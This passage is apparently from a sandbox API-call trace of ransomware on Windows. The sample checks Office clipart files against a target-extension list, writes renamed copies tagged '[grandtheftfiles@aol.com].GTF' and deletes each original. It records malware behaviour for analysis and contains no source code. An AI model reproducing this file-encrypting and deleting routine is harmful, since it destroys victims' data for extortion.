	[0086.238] lstrlenW (lpString=".ppt") returned 4
	[0086.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.238] lstrlenW (lpString=".zip") returned 4
	[0086.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.238] lstrlenW (lpString=".rar") returned 4
	[0086.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString=".bz2") returned 4
	[0086.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString=".7z") returned 3
	[0086.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.238] lstrlenW (lpString=".dbf") returned 4
	[0086.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.238] lstrlenW (lpString=".1cd") returned 4
	[0086.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0086.238] lstrlenW (lpString=".jpg") returned 4
	[0086.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.239] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.239] lstrlenW (lpString="DD01173_.WMF") returned 12
	[0086.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.241] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1804) returned 1
	[0086.242] CloseHandle (hObject=0x368) returned 1
	[0086.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 0x220
	[0086.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.242] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.242] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.242] GetLastError () returned 0x0
	[0086.242] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x70c, lpOverlapped=0x0) returned 1
	[0086.244] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x710, lpOverlapped=0x0) returned 1
	[0086.245] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.245] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.245] SetEndOfFile (hFile=0x380) returned 1
	[0086.245] CloseHandle (hObject=0x380) returned 1
	[0086.245] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.245] SetEndOfFile (hFile=0x368) returned 1
	[0086.246] CloseHandle (hObject=0x368) returned 1
	[0086.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01173_.wmf")) returned 1
	[0086.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.247] lstrlenW (lpString=".doc") returned 4
	[0086.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.247] lstrlenW (lpString=".docx") returned 5
	[0086.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.247] lstrlenW (lpString=".pdf") returned 4
	[0086.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.247] lstrlenW (lpString=".xls") returned 4
	[0086.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.247] lstrlenW (lpString=".xlsx") returned 5
	[0086.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.247] lstrlenW (lpString=".ppt") returned 4
	[0086.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.247] lstrlenW (lpString=".zip") returned 4
	[0086.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.247] lstrlenW (lpString=".rar") returned 4
	[0086.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.247] lstrlenW (lpString=".bz2") returned 4
	[0086.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.247] lstrlenW (lpString=".7z") returned 3
	[0086.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.247] lstrlenW (lpString=".dbf") returned 4
	[0086.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.247] lstrlenW (lpString=".1cd") returned 4
	[0086.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.247] lstrlenW (lpString=".jpg") returned 4
	[0086.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.248] lstrlenW (lpString=".doc") returned 4
	[0086.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString=".docx") returned 5
	[0086.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.248] lstrlenW (lpString=".pdf") returned 4
	[0086.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString=".xls") returned 4
	[0086.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.248] lstrlenW (lpString=".xlsx") returned 5
	[0086.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.248] lstrlenW (lpString=".ppt") returned 4
	[0086.248] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.248] lstrlenW (lpString=".zip") returned 4
	[0086.248] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.248] lstrlenW (lpString=".rar") returned 4
	[0086.248] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString=".bz2") returned 4
	[0086.248] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString=".7z") returned 3
	[0086.248] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.248] lstrlenW (lpString=".dbf") returned 4
	[0086.248] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.248] lstrlenW (lpString=".1cd") returned 4
	[0086.248] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68
	[0086.248] lstrlenW (lpString=".jpg") returned 4
	[0086.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.249] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.249] lstrlenW (lpString="DD01176_.WMF") returned 12
	[0086.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.249] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1888) returned 1
	[0086.249] CloseHandle (hObject=0x368) returned 1
	[0086.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220
	[0086.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.249] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.249] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.250] GetLastError () returned 0x0
	[0086.250] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x760, lpOverlapped=0x0) returned 1
	[0086.251] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x770, lpOverlapped=0x0) returned 1
	[0086.252] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.252] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.252] SetEndOfFile (hFile=0x380) returned 1
	[0086.252] CloseHandle (hObject=0x380) returned 1
	[0086.252] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.253] SetEndOfFile (hFile=0x368) returned 1
	[0086.253] CloseHandle (hObject=0x368) returned 1
	[0086.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1
	[0086.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.254] lstrlenW (lpString=".doc") returned 4
	[0086.254] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.254] lstrlenW (lpString=".docx") returned 5
	[0086.254] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.254] lstrlenW (lpString=".pdf") returned 4
	[0086.254] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.254] lstrlenW (lpString=".xls") returned 4
	[0086.254] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.254] lstrlenW (lpString=".xlsx") returned 5
	[0086.254] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.254] lstrlenW (lpString=".ppt") returned 4
	[0086.254] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.254] lstrlenW (lpString=".zip") returned 4
	[0086.254] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.254] lstrlenW (lpString=".rar") returned 4
	[0086.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.254] lstrlenW (lpString=".bz2") returned 4
	[0086.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.254] lstrlenW (lpString=".7z") returned 3
	[0086.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.254] lstrlenW (lpString=".dbf") returned 4
	[0086.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.254] lstrlenW (lpString=".1cd") returned 4
	[0086.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.255] lstrlenW (lpString=".jpg") returned 4
	[0086.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.255] lstrlenW (lpString=".doc") returned 4
	[0086.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString=".docx") returned 5
	[0086.255] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.255] lstrlenW (lpString=".pdf") returned 4
	[0086.255] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString=".xls") returned 4
	[0086.255] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.255] lstrlenW (lpString=".xlsx") returned 5
	[0086.255] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.255] lstrlenW (lpString=".ppt") returned 4
	[0086.255] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.255] lstrlenW (lpString=".zip") returned 4
	[0086.255] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.255] lstrlenW (lpString=".rar") returned 4
	[0086.255] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString=".bz2") returned 4
	[0086.255] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString=".7z") returned 3
	[0086.255] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.255] lstrlenW (lpString=".dbf") returned 4
	[0086.255] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.255] lstrlenW (lpString=".1cd") returned 4
	[0086.255] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0086.255] lstrlenW (lpString=".jpg") returned 4
	[0086.255] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.256] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.256] lstrlenW (lpString="DD01178_.WMF") returned 12
	[0086.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.256] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3796) returned 1
	[0086.256] CloseHandle (hObject=0x368) returned 1
	[0086.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220
	[0086.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0086.256] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.256] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.257] GetLastError () returned 0x0
	[0086.257] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xed4, lpOverlapped=0x0) returned 1
	[0086.258] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0086.259] ReadFile (in: hFile=0x368, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.259] WriteFile (in: hFile=0x380, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.259] SetEndOfFile (hFile=0x380) returned 1
	[0086.259] CloseHandle (hObject=0x380) returned 1
	[0086.259] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.259] SetEndOfFile (hFile=0x368) returned 1
	[0086.260] CloseHandle (hObject=0x368) returned 1
	[0086.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1
	[0086.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.261] lstrlenW (lpString=".doc") returned 4
	[0086.261] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.261] lstrlenW (lpString=".docx") returned 5
	[0086.261] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.261] lstrlenW (lpString=".pdf") returned 4
	[0086.261] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.261] lstrlenW (lpString=".xls") returned 4
	[0086.261] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.261] lstrlenW (lpString=".xlsx") returned 5
	[0086.261] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.261] lstrlenW (lpString=".ppt") returned 4
	[0086.261] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.261] lstrlenW (lpString=".zip") returned 4
	[0086.261] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.261] lstrlenW (lpString=".rar") returned 4
	[0086.261] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.261] lstrlenW (lpString=".bz2") returned 4
	[0086.261] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.261] lstrlenW (lpString=".7z") returned 3
	[0086.261] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.261] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.632] lstrlenW (lpString=".dbf") returned 4
	[0086.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.632] lstrlenW (lpString=".1cd") returned 4
	[0086.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.632] lstrlenW (lpString=".jpg") returned 4
	[0086.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0086.640] lstrlenW (lpString=".doc") returned 4
	[0086.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.640] lstrlenW (lpString=".docx") returned 5
	[0086.646] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.657] lstrlenW (lpString=".pdf") returned 4
	[0086.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.657] lstrlenW (lpString=".xls") returned 4
	[0086.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.657] lstrlenW (lpString=".xlsx") returned 5
